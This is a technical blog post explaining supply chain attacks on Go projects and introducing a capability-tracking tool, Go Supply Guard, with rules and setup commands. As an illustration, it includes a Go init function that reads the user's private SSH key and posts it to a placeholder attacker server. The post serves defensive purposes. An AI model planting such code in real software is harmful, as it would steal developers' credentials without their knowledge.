technical guide

Supply Chain Attacks in Golang

Portrait von Henning Goes

Author

Henning Goes

veröffentlicht

Lesedauer

4 Minuten

If you maintain a Go project, here are a few questions for you:

  1. Do you know which packages you are importing?
  2. Do you know what packages the packages you are importing are importing?
  3. Do you trust the maintainers of all those packages?
  4. Can those maintainers prevent malicious entities from slipping exploitable code into their codebase?
  5. Did you ever do a full audit of all your dependencies?
  6. Do you repeat that audit whenever you upgrade your dependencies?

If you answered “no” to any of those questions, you might be vulnerable to a supply chain attack.

What are supply chain attacks?

A supply chain attack does not target your software directly. Instead, it goes for your dependencies. By injecting malicious code into a package you are importing, an attack can execute its own code alongside yours. For example, imagine a small innocent helper library that you are importing suddenly adds a small additional function:

func init() {
    data, err := os.ReadFile(os.Getenv("HOME")+"/.ssh/id_rsa")
    if err==nil {
        http.Post("https://<SERVER_OF_ATTACKER>",
            "text/plain",
            bytes.NewBuffer(data))
    }
}

Since init functions are executed as soon as the program runs, this code will immediately exfiltrate your private SSH key to the attacker.

There are no limits to the damage that this kind of attack can do:

  • Wipe your filesystem
  • Steal & exfiltrate secrets
  • Abuse your resources (run DDOS attacks, bitcoin miner etc.)
  • Encrypt & hold your data for ransom
  • Spy on you and your customers

What Go already provides

Go already has a few things going for it when it comes to supply chain attacks:

  • A culture of using as few dependencies as possible
  • No code is executed during build-time
  • Dependencies are hashed & can’t be tampered

In fact, the Go team wrote an excellent article about this 🔗.

However, the core issue remains: You have to either review all your dependencies for malicious code, or trust every library author in your supply chain.

Introducing: Go Supply Guard

A gopher guarding a stack of go packages using a shield

Go Supply Guard is a tool designed to help you protect your supply chain. It is based on a simple assumption:

Packages provide a fixed functionality. To provide it, they use a fixed number of capabilities from other libraries. If a package uses a previously unused capability, it is cause for concern.

For example, one of the built-in rules states:

{
  "package": "net/http",
  "type": false,
  "func": ["Get", "Head", "Post", "PostForm"],
  "has": ["http.client"]
}

This rule states that every invocation of Get, Head, Post or PostForm from the net/http package will result in the calling package getting the http.client capability.

With this rule in place, if a library in your supply chain gets compromised and adds the init function from before, the supply guard would report:

The following packages have unexpected capabilities:
example.com/innocent-library
└── http.client
    └── net/http.Post <PATH>/init.go:263:12

You can then investigate whether the newly added code is legitimate or an exploit.

Setting up

If you want to integrate the supply guard into your own Go project, the easiest way is to use the new go tool functionality:

go get -tool github.com/Kernalytics/go-supply-guard

To make the initial setup easier, we provide a set of built-in rules that you can use. To find out which ones are applicable, you run

go tool go-supply-guard suggest

In most cases, you want to use at least the stdlib rules, since they provide the basic capabilities from the Go standard library.

Once you have chosen a set of built-in rules, you can check the current capabilities of your supply chain:

go tool go-supply-guard -built-in stdlib check

(If you prefer to see which package is imported by which one, you can use show instead of check).

If you checked all capabilities and believe that they are okay, you can generate a rule file for your library:

go tool go-supply-guard -built-in stdlib init > supply-guard.json

This will create a rule file that marks all current capabilities of your packages as expected. Whenever you upgrade your dependencies, you can then run

go tool go-supply-guard -built-in stdlib -rules supply-guard.json check

Which will then only report if a new capability has been introduced. Since the command exits with an error code if a new capability is detected, you can also run it as part of your CI/CD toolchain.

Get involved

If you are interested in using our tool, we are exitec to hear from you! Check out our repository at

https://github.com/Kernalytics/go-supply-guard 🔗

where you can report issues, suggest changes, etc.

If you tried our tool and have feedback, positive or negative, do not hesitate to reach out.